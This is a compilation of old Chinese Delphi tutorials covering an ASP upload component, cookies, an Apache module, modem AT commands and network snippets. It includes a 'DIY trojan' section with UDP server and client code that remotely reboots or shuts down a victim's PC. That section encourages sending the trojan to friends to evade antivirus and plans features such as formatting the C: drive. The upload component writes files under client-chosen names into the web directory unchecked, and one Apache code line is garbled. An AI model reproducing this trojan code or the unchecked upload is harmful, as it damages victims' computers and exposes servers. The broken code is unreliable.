用ＤＥＬＰＨＩ编写的文件上载组件实现文件上载

<form NAME="UploadForm" ACTION="delphiup.asp" METHOD="POST" ENCTYPE="multipart/form-data">

<p>文件另存为：<input TYPE=text NAME="SaveAs">

<p>请要选择上载的文件：<input TYPE=file NAME="FileData">

<input type="submit" name="b1" value="确认上载"> </p>

</form>

</body></html>

    当客户端选择了一个文件（如Test.TXT，其内容为“这里是一个用于上载的文件的内容。”）并按

“确认上载”按钮提交数据后，服务器端程序收到的数据将具有如下形式：

-----------------------------7cf1d6c47c#13#10

Content-Disposition: form-data; name="SaveAs"#13#10#13#10

NewFileName#13#10

-----------------------------7cf1d6c47c#13#10

Content-Disposition: form-data; name="FileData"; filename="D:\test.txt"

Content-Type: text/plain#13#10#13#10

这里是一个用于上载的文件的内容。#13#10

-----------------------------7cf1d6c47c#13#10

Content-Disposition: form-data; name="b1"#13#10#13#10

确认上载#13#10

-----------------------------7cf1d6c47c--

其中，“-----------------------------7cf1d6c47c”是分界符，用于分隔表单（Form）中的各个域；

#13#10是回车换行符的ＤＥＬＰＨＩ表示。我们可以这样认为，每个表单域的信息描述，都是以分界符加一对回车换行符#13#10开始；表单域名以“name="”开始，以“"”为结束；表单域值以两对回车换行符#13#10#13#10开始，以一对回车换行符#13#10#加分界符结束；文件名称以“filename="”开始，以“"”为结束。有了这些标志，我们就可以获取表单域的名称和值以及要上载的文件的名称，从而实现文件数据的读取和存储了。

二、文件上载的实现过程

    在理解上面提到的数据格式后，自己动手编写一个文件上载组件对我们来说已经不是困难了。

    （一）开始建立一个ＡＳＰ组件的工程

          如果您对用ＤＥＬＰＨＩ开发OLE Automation Server的步骤不太熟悉的话，请参见《电子与电脑》１９９９年第０６期的一篇文章《用ＤＥＬＰＨＩ开发用于ＡＳＰ的OLE Automation Server 》。

这里只简要介绍一下操作步骤。

    １、建立ActiveX Library工程

    在ＤＥＬＰＨＩ中选择菜单File＝》New...，在“New Item”对话框的ActiveX选项卡中选择“ActiveX Library”，ＤＥＬＰＨＩ会自动创建一个ＤＬＬ工程Project1。

    ２、建立Automation组件

    在ＤＥＬＰＨＩ中选择菜单File＝》New...，在“New Item”对话框的ActiveX选项卡中选择“Automation Object”；然后在“Automation Object Wizard”对话框中输入Class Name(如“UploadFile”)，Instancing选择“Multiple Instance”即可，单击“OK”后ＤＥＬＰＨＩ会自动创建一个ＴＬＢ（Type Library）文件Project1_TLB.PAS和一个ＰＡＳ(Unit)文件Unit1.PAS。在Type Library设计窗口中，将Project1改名为MyUpload，则该文件上载组件的ＯＬＥ注册码为“MyUpload.UploadFile”。

    ３、引入ＡＳＰ类型库

    为了使用ＡＳＰ的五个内建对象（Request、Response、Server、Application、Session），需要引入ＡＳＰ类型库。我们主要利用Request对象读取从客户端传递到服务器端的数据。

    在Project菜单中选择“Import Type Library”，在“Import Type Library”对话框的“Type Libraries”列表选择“Microsoft Active Server Pages Object Library(Version 2.0)”（如果没有这个选项，请确定您的计算机上安装了ＩＩＳ３以上或ＰＷＳ４以上并且ASP.DLL已正确注册），ＤＥＬＰＨＩ会自动创建一个ＴＬＢ文件ASPTypeLibrary_TLB.PAS，其中有我们需要的ＡＳＰ对象类型声明。

    ４、定义OnStartPage、OnEndPage过程

    当在ＡＳＰ页面上用Server.CreateObject创建一个ＯＬＥ对象实例时，ＷＥＢ服务器会调用其方法OnStartPage，将ＡＳＰ应用环境信息传递给该对象，我们可以在该过程中获取客户端信息；当在ＡＳＰ页面中释放一个ＯＬＥ对象实例时，ＷＥＢ服务器会调用其方法OnEndPage，我们可以在该过程中进行释放内存等结束操作。在我们这个组件中，我们要用到其OnStartPage方法。

    OnStartPage方法应该在Unit1.PAS中定义，OnStartPage的函数原型为：

procedure OnStartPage(AScriptingContext: IUnknown);

其中参数AScriptingContext是一个IScriptingContext类型变量，包含五个属性（Request、Response、Server、Application、Session）分别对应ＡＳＰ的五个内建同名对象。

    我们需要在ＴＬＢ定义窗口（View＝》Type Library）中，为IUploadFile增加方法OnStartPage，其Declaration语句为“procedure OnStartPage(AScriptingContext: IUnknown);”。

    （二）提取客户端上传的数据

    该工作可以放在OnStartPage过程中进行。

    利用AScriptingContext的属性Request(类型为IRequest)中的属性TotalBytes（请求信息内容长度）和方法BinaryRead可将客户端上传的请求信息数据读取到一个Byte类型的数组中，然后按RFC1867标准定义的数据格式来分析和提取数据。

    １、首先定义TUploadFile的几个私有变量

在单元文件UP01.PAS（由Unit1.PAS另存）中加入对ASPTypeLibrary_TLB.PAS的引用（Uses），

然后加入

private

FContentLength : LongInt;//请求信息内容长度

FContentData : Variant;//内容数据,以数组形式存储请求信息内容

FFileName, //要上载的文件名称

FDelimeter : string; //表单域分界符

FScriptingContext : IScriptingContext;//ASP处理上下文环境内容

FFileDataStart, //文件数据开始位置

FFileDataEnd : LongInt; //文件数据结束位置

    ２、提取客户端上传的请求信息数据

//在OnStartPage事件中，获取ASP上下文信息、请求信息内容、表单域的分界符、文件数据

procedure TUploadFile.OnStartPage(AScriptingContext: IUnknown);

var

ARequest : IRequest; //WWW请求对象

AOleVariant : OleVariant; //记录请求信息内容长度

intDelimterLength : integer;//分界符长度

longIndex,ALongInt,longPos : LongInt;

ContentData : AnsiString;//请求信息内容的字符串表示

strTemp : string;

FindEndOfFileData : boolean;//是否找到文件数据结束位置

begin

//提取客户端上传的请求信息数据

FScriptingContext := AScriptingContext as IScriptingContext;//获取ASP上下文信息

ARequest := FScriptingContext.Request;//获取WWW请求信息

FContentLength := ARequest.TotalBytes;//请求信息内容长度

//创建动态数组，用于以数组形式存储请求信息内容

FContentData := VarArrayCreate( [0,FContentLength], varByte );

//将请求信息内容存储到数组中

AOleVariant := FContentLength;

FContentData := ARequest.BinaryRead( AOleVariant );//读取请求信息内容

//将请求信息内容转化为字符串，便于定位

ContentData := '';

for longIndex := 0 to FContentLength - 1 do

begin

ContentData := ContentData + chr( Byte( FContentData[ longIndex ] ));

if FContentData[ longIndex ] = 0 then break;//0表示内容结束

end;

    ３、获取分界符、上载文件名称

//获取表单域的分界符

longPos := pos( #13#10,ContentData );//回车换行符所在位置

FDelimeter := Copy( ContentData,1,longPos-1);//该位置之前的内容为分隔符

//获取带源路径的文件名称，在请求信息内容中，文件名称以

//filename="path/filename"的形式存储

strTemp := 'filename="';//文件名称在“filename="”之后

longPos := pos( strTemp, ContentData );//获取“filename="”位置

if longPos <= 0 then

begin

FFileName := '';

FFileDataStart := -1;

FFileDataEnd := -2;

exit;

end;

//获取下个双引号“"”之前的内容，即带源路径的文件名称

longPos := longPos + length( strTemp );

strTemp := '';

for longIndex := longPos to FContentLength - 1 do

if ContentData[ longIndex ] <> '"' then

strTemp := strTemp + ContentData[ longIndex ]

else break;

FFileName := strTemp;

    ４、获取文件数据的在请求信息内容中的开始、结束位置

//文件数据开始位置在文件名称后的第一个#13#10#13#10之后

delete( ContentData, 1, longIndex );

strTemp := #13#10#13#10;

FFileDataStart := longIndex + pos(strTemp, ContentData) + length(strTemp) - 1;

//文件数据结束位置在下一个#13#10和分界符之前

//由于文件数据可能包含非法字符，不能再用字符串定位函数POS

//查找下一个分界符的位置

FFileDataEnd := FFileDataStart;

intDelimterLength := length( FDelimeter );

FindEndOfFileData := false;

while FFileDataEnd <= FContentLength - intDelimterLength do

begin

FindEndOfFileData := true;

for ALongInt := 0 to intDelimterLength - 1 do

if Byte( FDelimeter[ ALongInt + 1 ] ) <>

FContentData[ FFileDataEnd + ALongInt ] then

begin

FindEndOfFileData := false;

break;

end;

if FindEndOfFileData then break;

FFileDataEnd := FFileDataEnd + 1;

end;

if not FindEndOfFileData then FFileDataEnd := FFileDataStart - 1//未找到分界符

else FFileDataEnd := FFileDataEnd - 3;//分界符,向前跳过#13#10

end;

    （三）向ＡＳＰ程序传递信息

    在进行了（二）的操作之后，我们的上载组件可以根据ＡＳＰ程序的要求向其传递数据了。目前可以提供的数据有：客户端源文件名称（FFileName，含路径）、文件大小（FFileDataEnd-FFileDataStart+1）。

首先应该在ＴＬＢ设计窗口中声明如下两个方法GetFileName和GetFileSize。

    １、返回客户端源文件名称（含路径）

//返回客户端源文件名称（含路径）

function TUploadFile.GetFileName: OleVariant;

begin

result := FFileName;//客户端源文件名称（含路径）

end;

    ２、返回文件大小

//返回文件大小（Bytes）

function TUploadFile.GetFileSize: OleVariant;

begin

result := FFileDataEnd - FFileDataStart + 1;

end;

    （四）保存文件

    在进行了（二）的操作之后，我们的上载组件可以根据ＡＳＰ程序的要求保存文件了。首先应该在

ＴＬＢ设计窗口中声明如下两个方法SaveFileAs和SaveFile。

    １、按指定文件名称保存文件

//按指定的文件名称保存文件，参数FileName为指定的文件名称，返回值True表示文件保存成功

function TUploadFile.SaveFileAs(FileName: OleVariant): OleVariant;

var

longIndex : LongInt;

AFile : file of byte;//以二进制的形式保存文件

byteData : Byte;

begin

result := true;

try

assign( AFile, FileName );

rewrite( AFile );

for longIndex := FFileDataStart to FFileDataEnd do

begin

byteData := Byte( FContentData[ longIndex ] );

Write( AFile, byteData );

end;

CloseFile( AFile );

except

result := false;

end;

end;

    ２、按缺省文件名称保存文件

//按缺省文件名称保存文件，将文件以同名文件保存在调用页面所在目录

function TUploadFile.SaveFile: OleVariant;

var

CurrentFilePath : string;

begin

//获取调用页面所在目录

CurrentFilePath := FScriptingContext.Request.ServerVariables['PATH_TRANSLATED'];

CurrentFilePath := ExtractFilePath( CurrentFilePath );

//保存文件

result := SaveFileAs( CurrentFilePath + ExtractFileName( FFileName ));

end;

三、上载组件应用举例

    在我们的例子中，DelphiUp.HTM是文件上载界面，DelphiUp.ASP用来执行文件上载操作。

DelphiUp.ASP的代码如下：

<!--DelphiUp.ASP：文件上载处理页面-->

<html><head><title>文件上载</title></head><body>

<% dim Upload, FileName

set Upload = Server.CreateObject("MyUpload.UploadFile")

FileName = Upload.GetFileName

Response.Write "<br>正在保存文件《"&FileName&"》......"

if Upload.SaveFile then

Response.Write "<br>文件《"&FileName&"》上载成功。"

Response.Write "<br>文件大小为"&Upload.GetFileSize&"字节。"

else

Response.Write "<br>文件《"&FileName&"》上载失败。"

end if

set Upload=nothing %>

</body></html>

四、几点说明

    １、由ＤＥＬＰＨＩ自动生成的源代码编译的ＤＬＬ文件大小有２１５Ｋ，可以在

ASPTypeLibrary_TLB.PAS的Interface段中将Uses中的单元除ActiveX外全部删除，在

MyUpload_TLB.PAS中删除Uses中所有单元，则生成的ＤＬＬ文件大小可减少到６１Ｋ。

    ２、以上方法同样适用于ＣＧＩ程序，不过要用TWebRequest对象。

以上程序在PWIN98+Delphi3.0+PWS4.0下调试通过。


Cookie的建立使用

Cookies是一种Web服务器在客户端存储和返回信息的机制,这种简单的、永久的和基于客户端的状态信息大大的扩充了基于Web的客户/服务器(Client/Server)应用程序的能力。因此广泛应用在大量的实际中，例如所有订阅Microsoft公司的MSDN的用户、访问过Borland Online的用户，以及访问过我的主页(http://www.nease.net/~borland)的用户都会在本地存储Cookie，以便下次访问时提供上次访问的记录。

Delphi 3是Borland公司1997年推出的可视化、面向对象的高效率的快速应用程序开发工具(RAD)，提供了大量的最新功能，例如开发COM/DCOM，一步开发ActiveX对象，多层数据库应用程序MIDAS等，并且使用Delphi 3开发基于Web服务器的程序，如ISAPI/NSAPI，Win-CGI，CGI程序都十分方便。

使用Delphi 3开发Web Server程序是非常简单，方便的，因为在Delphi中提供了Web Module、TWebApplication、TWebRequest、TWebResponse、TPageProducer等大量的对象供使用.对于Cookie,Delphi3也提供了大量的程序供使用,如TWebResponse.Cookies，TWebResponse.SetCookieField，TWebRequest.Cookie，TWebRequest.CookieFields，TWebRequest.ExtractCookieFields等，应该是非常方便。但本人为了实现一功能需要设置Cookie，但是发现使用Delphi提供的SetCookieFields设置不成功，经研究Delphi 3所带的HttpApp.Pas和IsapiApp.Pas文件发现在中文Windows 95和NT环境下该程序有错误。

       根据Netscape公司的规定,Cookie的格式应为:
Set-Cookie: Name=Value; expires=DATA; Path=PATH; domain=DOMAIN_NAME; secure
而且根据规定,日期(DATA)的设置必须满足格式“Wdy, DD-Mon-YYYY HH:MM:SS GMT”,基于RFC822, RFC850, RFC1036和RFC1123等规定，但是检查HTTPAPP.PAS中的function TCookie.GetHeaderValue: string中为FormatDateTime('"expires="' + DateFormat + ' "GMT; "', Expires);,其中const DateFormat = 'ddd, dd mmm yyyy hh:mm:ss',此程序在英文环境中产生的格式是正确的,但是在中文中产生的结果却不对,因为星期和月份都将按照中文的表示方法：如将11月生产“十一月”中文串，这样在Netscape Navigator和Microsoft Internet Explorer就不能辨认了。

既然错误在于原VCL未考虑中文环境的问题，所以修改的方法有：1、修改VCL源程序，编译后将dcu文件拷贝到Lib目录，这样会完全改正错误，这样是最根本的解决方法，但是如果将源程序放在另一未修改的Delphi中(例如提供源程序给别人和自己重新安装)编译又将出现问题。2、因为使用并不太多，所以可以将修改的程序放在自己的程序中，使用Delphi 3提供的TWebResponse.SetCustomHeader设置,这样的好处是将程序放在自己的程序内，重新装Delphi或在另一台计算机上编译的结果也会完全正确。因为Cookie的目的一般有两种，一种是在此会话过程中使用，过后不使用，此时不需要Expires段，不会产生时间错误，可以使用Delphi 3提供的所有Cookie程序；另一种为永久保存，时间一般越长越好，于是可以将时间设置为2099年二月22日, 于是程序中设置Cookie的方法为:

  Response.SetCustomHeader('Set-Cookie','Name=Value; expires=Sun, 22 Feb 2099 08:08:08 GMT'); (注斜体用自己的名称代替，例如设置Count＝10，则Name用Count代替，Value用10代替)，这样就可以建立Cookie了.

以下为建立一个访问计数器的程序，可以参照：
const
LastIp:String='0:0:0:0'; //避免重复计数
Var
S:String;
Count:Integer;
begin
S:=Request.CookieFields.Values['count'];
if S<>'' then begin
try
Count:=StrToInt(S);
Except

        Count:=0;
End;
end else Count:=0;
if
LastIp<>Request.RemoteAddr then Inc(Count);
LastIp:=Request.RemoteAddr;
Response.SetCustomHeader('Set-Cookie','count='+IntToStr(Count)+'; expires=Sun,
21 Feb 2010 08:08:08 GMT');
Response.Content:='您是第'+IntToStr(Count)+'来到本页!';
End;


如何实现文件上传

当按了submit按钮后,应该用reuest.readstring或readclient读取发送来的数据,
按照RFC1867标准，html传到服务器端的二进制数据具有类似的如下格式：

-----------------------------5fi25134734389
Content-Disposition: form-data; name="text1"

Text test
-----------------------------5fi25134734389--
Content-Disposition: form-data;
name="file1"; filename="E:\GIF\girl.gif"
Content-Type: image/gif

GIF89a? ????噜鄛}}^^^υ,? //文件数据从这里开始
-----------------------------5fi25134734389

其中， 类似于“-----------------------------5fi25134734389”
的这一段字符串我们称之为“定界符”。我们看到，html文件中的Form元素

“text1”,“file1”出现在定界符后的“name=”标记处；对text1而
言，“name=”标记后紧接两对回车换行符#13#10#13#10即是客户端输入的值，
该值结束时跟一对#13#10和一个定界符；对file1而言，“name=”标记后的
“filename=” 标记指出了客户端上载的文件的路径和文件名，下一行指出了
文件的类型，后跟两对#13#10表示文件数据的开始，文件数据结束时跟一对
#13#10和一个定界符。

所以你只要从读取到的数据里面,把文件数据剔取出来就可以了,然后保存到
上传目录下.


用delphi6+Apache 开发动态网站(一)
-------创建一个简单的网页

xalion

随着Internet 的飞速发展,动态网页的开发方法五花八门，有ASP,JSP,PHP,CGI等等，其中web server主要
集中在IIS,Apache等上，MS 的IIS 以其强大的功能吸引了很多的开发者，ASP 是IIS 上用的最多的网页开发
方法，可是ASP 对开发非MS 产品的数据库程序时，简直就是一场恶梦，同时IIS 的漏洞越来越多，系统管理员
每天都得注意最新的漏洞补丁，否则不是被黑客攻翻就是被病毒感染，最近的redcode,bluecode,nimda就是例子。
具有速度快，安全性好，跨平台而且是完全免费的apache http server吸引了越来越多的开发者，而borland 新推
出的delphi6 开始支持Apache,功能强大的delphi 和 快速安全的apache 是一对非常好的动态网站开发方式,而且
delphi6 的工程源码几乎不用动就可以用kylix 编译，并在lunix 下的apache 上运行，厉害吧，动手吧，让
我们开始做一个简单的网页吧！
1.环境设置
先从http://www.apache.org 上下载apache http server for windows 版，最新的版本是1.3.22,
然后安装到服务器上,调试阶段最好现在本机上安装，反正apache 支持win9x:),安装完毕后，在IE里面输入
http://localhost,会正常显示apache 默认页，说明安装成功!
2.现在打开delphi6 ,点菜单file-new-other,在new页里面选web server aplication,出现下面图片
选择Apache shared Module(DLL),系统就会建立一个空的工程.把工程另存为test,unit1另存为wmp.pas.
delphi 就会生成以下的工程代码
library test;

uses
WebBroker,
ApacheApp,
wmp in 'wmp.pas' {WebModule1: TWebModule};

{$R *.res}

exports
apache_module name 'Project1_module';

begin
Application.Initialize;
Application.CreateForm(TWebModule1, WebModule1);
Application.Run;
end.
把'Project1_module' 改为'test_module'

然后在applicaiotn.Initilize 后面加入一下代码（很重要),
ModuleName:='test_module';
ContentType:= 'test-handler';
以上是让apache 加载dll是用的，如果与apache 的配置不一样的话，是无法运行的.
然后设置WebModule1的name 为wm(这仅仅是为了以后编程简单^_^),
打开wm的actions,出现一个editing wm.actions窗口,点击add new,出现一个新的item,
设置其name 为index,pathinfo 为/index,default 为true,
然后到events 页双击onaction
code editor出现一下代码:
procedure Twm.wmindexAction(Sender: TObject; Request: TWebRequest;
Response: TWebResponse; var Handled: Boolean);
begin

end;

加入一下代码
procedure Twm.wmindexAction(Sender: TObject; Request: TWebRequest;
Response: TWebResponse; var Handled: Boolean);
const
chweek:array [1..7]of string[2]=('日','一','二','三','四','五','六');
var
s:string;
yy,mm,dd:word;
begin
decodedate(date,yy,mm,dd);
s:='今天是'+inttostr(yy)+'年'+inttostr(mm)+'月'+inttostr(dd)+'日';
s:=s+' 星期'+chweek[dayofweek(date)];
s:=s+' Response.content := s;
end;

end;

OK! 编译，如果按F9 会出现错误！（因为它是个DLL呀!)

把编译出来的test.dll 拷到apache 目录下的modules目录
然后用文本编辑器打开apache 目录下的conf目录里面的httpd.conf
最上面加入一下文本
LoadModule test_module "C:/Program Files/Apache Group/Apache/modules/test.dll"
SetHandler test-Handler
如果httpd.conf 里面的ClearModuleList 前面没有# 的话，一定要加上!!!!
现在先stop apache server,然后再start apache server
在IE 里面输入http://localhost/test
怎样出来了吗？
浏览器里面是不是显示
今天是2001年10月30日 星期二 欢迎你访问delphi窑洞!
如果你看到这样的话，那么你成功了!
还算简单吧!


Modem命令集

AT Commands

A Answer Command
Bn Communications Options
D Dial Command
En Select Command Character Echo Option
Hn Control The Switchhook
I0 Identify The Product Code
I2 Perform ROM Checksum Test
I7 Version Number
Ln Select Speaker Volume Level
Mn Select Speaker Function Option
Nn Select Negotiate Handshake Option
On Go Online Command
P Select Pulse Dialing Method
Qn Select Result Code Option
Sn= Write To An S-Register
Sn? Read An S-Register
T Select Tone Dialing Method
Vn Select Response Format Option
Wn Select Extended Result Code
Xn Select Call Progress Option
Yn Select Long Space Disconnect Option
Zn Perform Soft Reset
&An Select Originate/Answer Role For Autoanswer
&Cn Select Data Carrier Detect Option
&Dn Select Data Terminal Ready Option
&F Load Factory Default Profile
&Gn Select Guard Tone Option
&Kn Select Flow ConTDol Option
&Pn Select Pulse Dialing Parameters
&Qn Select Communications Mode Option
&Rn Select RTS/CTS Option
&Sn Select Data Set Ready Option
&T0 Terminate Test In Process
&T1 Initiate Local Analog Loopback
&T3 Perform Local Digital Loopback
&T4 Enable Granting Of RDL Requests
&T5 Deny Granting Of RDL Requests
&T6 Initiate Remote Digital Loopback
&T7 Initiate RDL With Self Test
&T8 Local Loopback With Self Test
&T19 Perform RTS/CTS Cable Test
&Un Disable TDellis Coding
&V View Configuration Profiles
&Wn Store Active Profile
&Xn Select Sync TDansmit Clock Source
&Yn Select Stored Profile For Hard Reset
&Zn= Store Telephone Number
, Perform Pause
= Write To An S-Register
? Read An S-Register
P Select Pulse Dialing
T Tone

S-Registers

S0 Ring After Which To Answer
S1 Ring Count
S2 Hayes Escape Character
S3 Carriage Return Character
S4 Line Feed Character
S5 Backspace Character
S6 Wait Before Blind Dialing
S7 Wait For Carrier
S8 Pause Time For Comma
S9 Carrier Recovery Time
S10 Lost Carrier Hang Up Delay
S11 DTMF Dialing Speed
S12 Hayes Escape Guard Time
S16 Test in Progress
S18 Modem Test Timer
S19 AutoSync Options
S25 Detect DTD Change
S26 RTS To CTS Delay Interval
S30 Inactivity Timeout
S31 XON Character
S32 XOFF Character
S36 Negotiation Failure TDeatment
S37 Desired DCE Line Speed
S38 Hang-up Timeout
S43 Current Line Speed
S44 Framing Technique
S46 Protocol/Compression Selection
S48 Feature Negotiation Action
S49 Buffer Low Limit
S50 Buffer High Limit
S70 Maximum Number of ReTDansmissions
S73 No Activity Timeout
S82 Break Selection
S86 Connection Failure Cause Code
S91 Select Dial-up Line TDansmit Level
S95 Extended Result Code Bit Map
S97 V.32 Late Connecting Handshake Timing
S105 Frame Size
S108 Signal Quality Selector
S109 Carrier Speed Selector
S110 V.32/V.32 bis Selector
S113 Calling Tone ConTDol
S121 Use of DTD
S141 Detection Phase Timer
S142 Online Character Format
S144 Autobaud Speed Group Selection


监测TCP IP协议是否安装了

uses Winsock;

function WinsockEnabled: boolean;

var

wsaData: TWSAData;

begin

result := true;

case Winsock.WSAStartup($0101,wsaData) of

WSAEINVAL, WSASYSNOTREADY, WSAVERNOTSUPPORTED: result := false;

else Winsock.WSACleanup;

end;

end;


获得连接类型

uses wininet;

Function ConnectionKind :boolean;
var
flags: dword;
begin
Result := InternetGetConnectedState(@flags, 0);
if Result then
begin
if (flags and INTERNET_CONNECTION_MODEM) = INTERNET_CONNECTION_MODEM then
begin
showmessage('Modem');
end;

if (flags and INTERNET_CONNECTION_LAN) = INTERNET_CONNECTION_LAN then

     begin
showmessage('LAN');
end;
if (flags and INTERNET_CONNECTION_PROXY) =
   INTERNET_CONNECTION_PROXY then

begin
showmessage('Proxy');
end;

     if (flags and INTERNET_CONNECTION_MODEM_BUSY)=INTERNET_CONNECTION_MODEM_BUSY
    then
begin
showmessage('Modem Busy');
end;
end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
ConnectionKind;
end;


木马DIY

大家好呀，老妖终于有时间更新主页了，最近查阅了一些资料，找了一些大家应该很感兴趣的东东，感谢清宏工作室，老妖从他们那里学到很多东东。本文内容就参考并使用了了他们的的源程序。现在各种杀毒软件搞得冰河等等木马鼠串，没有容身之地，你自己做一个木马就不一样了，嘿嘿，发给你的好友，杀得出来才怪事情。
UDP协议用处多多，现在让我们用它来搞一个木马，一个简单的搞恶作剧的木马。首先，我们列举一下应该实现的功能，能对目标机进行关闭重启动；能让对方两眼一抹黑，黑屏，并且能解除；给对方弹点调侃的消息框；能把对方的鼠标锁定在某个区域内；能隐藏或者显示对方桌面；能抓屏，看看她（他）在干什么；能让对方的光驱像得了抽风病一样进进出出；能在对方机器上远程运行点其他木马什么什么的；直接格式化对方逻辑盘，C:盘也可以在重新启动后格式化（此招太黑，不可乱用）。
能对本文产生兴趣的朋友，一定对远程控制程序结构不陌生，服务端和客户端，我们先不讨论怎么实现服务端的隐藏运行，先来看看实现第一个功能，远程关机的实现，我们调用API函exitwindowsex。服务端的程序头如下
unit Server;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, NMUDP, StdCtrls,shellapi,mmsystem;
//记住加上shellapi,mmsystem;
type
TForm1 = class(TForm)
Button1: TButton;
Button2: TButton;
CUDP: TNMUDP;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure CUDPDataReceived(Sender: TComponent; NumberBytes: Integer;
FromIP: String; Port: Integer);
procedure FormDestroy(Sender: TObject);
private
procedure winexit(var msg:Tmessage);message WM_QUERYENDSESSION;
//拦截WM_QUERYENDSESSION消息并处理
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation
const BufSize=2048;{ 发送每一笔数据的缓冲区大小 }
var
BmpStream:TMemoryStream;

{$R *.DFM}
这个远程控制的原理是客户端通过发送控制码让服务端实现相应的操作，下面是服务端DataReceived事件

procedure TForm1.CUDPDataReceived(Sender: TComponent;
NumberBytes: Integer; FromIP: String; Port: Integer);
var
CtrlCode:array[0..250] of char;
Trun:string;
hDesktop : Thandle;
forc,ford:textfile;
//定义向Autoexec.bat写格式化命令，以后用到
begin
CUDP.ReadBuffer(CtrlCode,NumberBytes);
if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]+CtrlCode[5]+CtrlCode[6]='restart' then
//重新启动计算机
ExitWindowsEx(EWX_REBOOT,2);

if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]+CtrlCode[4]='close' then
//关闭计算机
ExitWindowsEx(EWX_SHUTDOWN and EWX_POWEROFF ,1);
end;

服务端程序雏形就形成了，让我们来添砖加瓦，实现丰富的功能。再来说一下客户端的基本实现，也加入一个NMUDP控件，程序头如下
unit Server;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
Menus, NMUDP, StdCtrls;

type
TForm1 = class(TForm)
SUDP: TNMUDP;
MainMenu1: TMainMenu;
WIndows1: TMenuItem;
N1: TMenuItem;
N2: TMenuItem;
N3: TMenuItem;
N4: TMenuItem;
N5: TMenuItem;
N6: TMenuItem;
N7: TMenuItem;
N8: TMenuItem;
N9: TMenuItem;
N10: TMenuItem;
N11: TMenuItem;
N12: TMenuItem;
N13: TMenuItem;
N14: TMenuItem;
N15: TMenuItem;
N16: TMenuItem;
N17: TMenuItem;
N18: TMenuItem;
N19: TMenuItem;
N20: TMenuItem;
N21: TMenuItem;
N22: TMenuItem;
N23: TMenuItem;
Edit2: TEdit;
StaticText1: TStaticText;
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure N1Click(Sender: TObject);
procedure N2Click(Sender: TObject);
procedure N4Click(Sender: TObject);
procedure N5Click(Sender: TObject);
procedure N7Click(Sender: TObject);
procedure N9Click(Sender: TObject);
procedure N10Click(Sender: TObject);
procedure N13Click(Sender: TObject);
procedure N12Click(Sender: TObject);
procedure N15Click(Sender: TObject);
procedure N16Click(Sender: TObject);
procedure N17Click(Sender: TObject);
procedure N18Click(Sender: TObject);
procedure N19Click(Sender: TObject);
procedure N20Click(Sender: TObject);
procedure N21Click(Sender: TObject);
procedure N22Click(Sender: TObject);
procedure N23Click(Sender: TObject);
private
procedure winexit(var msg:tmessage);message wm_queryendsession;
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation
const BufSize=2048;
var
RsltStream,TmpStream:TMemoryStream;

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
begin
RsltStream:=TMemoryStream.Create;
TmpStream:=TMemoryStream.Create;
end;//创建数据流

procedure TForm1.N1Click(Sender: TObject);
var
ReqCode:array[0..29] of char;
ReqCodeStr:string;
begin
ReqCodeStr:='restart';
StrpCopy(ReqCode,ReqCodeStr);
TmpStream.Clear;
RsltStream.Clear;
SUDP.RemoteHost:=Edit2.Text;
SUDP.SendBuffer(ReqCode,30);
end;//发送重启指令

procedure TForm1.N2Click(Sender: TObject);
var ReqCode:array[0..29] of char;ReqCodeStr:string;
begin
ReqCodeStr:='close';
StrpCopy(ReqCode,ReqCodeStr);
TmpStream.Clear;
RsltStream.Clear;
SUDP.RemoteHost:=Edit2.Text;
SUDP.SendBuffer(ReqCode,30);
end;发送关机指令

里面用到的edit，menu等控件就让读者自己加到form上了，相信大家应该看得懂，以后陆续贴出实现其他功能的代码，主体就是上面的程序。其实远程关机不仅仅用在木马上面，由于使用的是UDP协议，把客户端做成扫描，就可以可以实现大面积的扫描关机，非常方便，不需要一个一个连上去再关，老妖就准备用来管理机房计算机。
老妖 [感谢清宏工作室]创作


获得NetBios地址

implementation
uses SysUtils, Windows, NB30;

function GetNetBIOSAddress : string;
var  ncb  :
TNCB;
status  : TAdapterStatus;
lanenum :
TLanaEnum;

procedure ResetAdapter (num : char);
begin
fillchar(ncb,sizeof(ncb),0);
ncb.ncb_command:=char(NCBRESET);
ncb.ncb_lana_num:=num;
Netbios(@ncb);
end;

var
lanNum : char;
address : record
part1 : Longint;
part2 : Word;//Smallint;
end absolute status;
begin
Result:='';

fillchar(ncb,sizeof(ncb),0);
ncb.ncb_command:=char(NCBENUM);
ncb.ncb_buffer:=@lanenum;
ncb.ncb_length:=sizeof(lanenum);
Netbios(@ncb);

if lanenum.length=#0 then exit;
lanNum:=lanenum.lana[0];

ResetAdapter(lanNum);

fillchar(ncb,sizeof(ncb),0);
ncb.ncb_command:=char(NCBASTAT);
ncb.ncb_lana_num:=lanNum;
ncb.ncb_callname[0]:='*';
ncb.ncb_buffer:=@status;
ncb.ncb_length:=sizeof(status);
Netbios(@ncb);
ResetAdapter(lanNum);

Result:=Format('%x%x',[address.part1,address.part2]);
end;


远程控制

用Delphi实现远程控制

---- WinSock是一组API，用于在网络上传输数据和交换信息。虽然现在有很多工具如FTP程序可以在网络上传输数据和文件，但是通过WinSock编程有更大的灵活性，它不需要关心网络连接的细节，然而用WinSock编程却很复杂，但是在Delphi中我们并不需要直接与WinSock的API打交道，因为TClientSocket元件和TServerSocket元件（在Internet页）封装了WinSock的大部分API，使得对WinSock的访问大大简化。下面这个远程控制的例子就很清楚地说明了这个问题，它可以发送一个消息给对方，并能够使对方的电脑关闭、重新启动或重新登录。

一、实现原理

---- 实行远程控制，实际上就是一个服务器程序（以下简称被控程序）和一个客户程序（以下简称主控程序）：被控方即为服务器程序，它监听客户的请求，并作出处理；主控方即为客户程序，它连接上服务器后，发出自己的请求，服务器便根据自已的请求进行不同的响应。

二、编写主控程序

